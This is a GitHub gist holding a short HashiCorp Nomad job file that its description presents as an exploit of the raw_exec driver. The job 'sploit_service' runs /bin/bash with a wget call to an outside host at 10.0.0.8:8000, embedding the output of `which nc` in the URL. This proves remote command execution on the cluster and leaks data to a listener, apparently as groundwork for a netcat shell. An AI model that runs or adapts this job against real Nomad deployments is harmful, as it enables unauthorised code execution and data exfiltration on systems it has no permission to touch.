Created
December 18, 2018 16:22
-
-
Save carnal0wnage/25b391126dadefe0a9523fb421bf8f33 to your computer and use it in GitHub Desktop.
hcl file that exploits nomad raw_exec
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
job "sploit_service" { | |
datacenters = ["dc1"] | |
group "sploit" { | |
task "shello" { | |
driver = "raw_exec" | |
config { | |
command = "/bin/bash" | |
args = ["-c", "wget http://10.0.0.8:8000/?foo=`which nc`"] | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment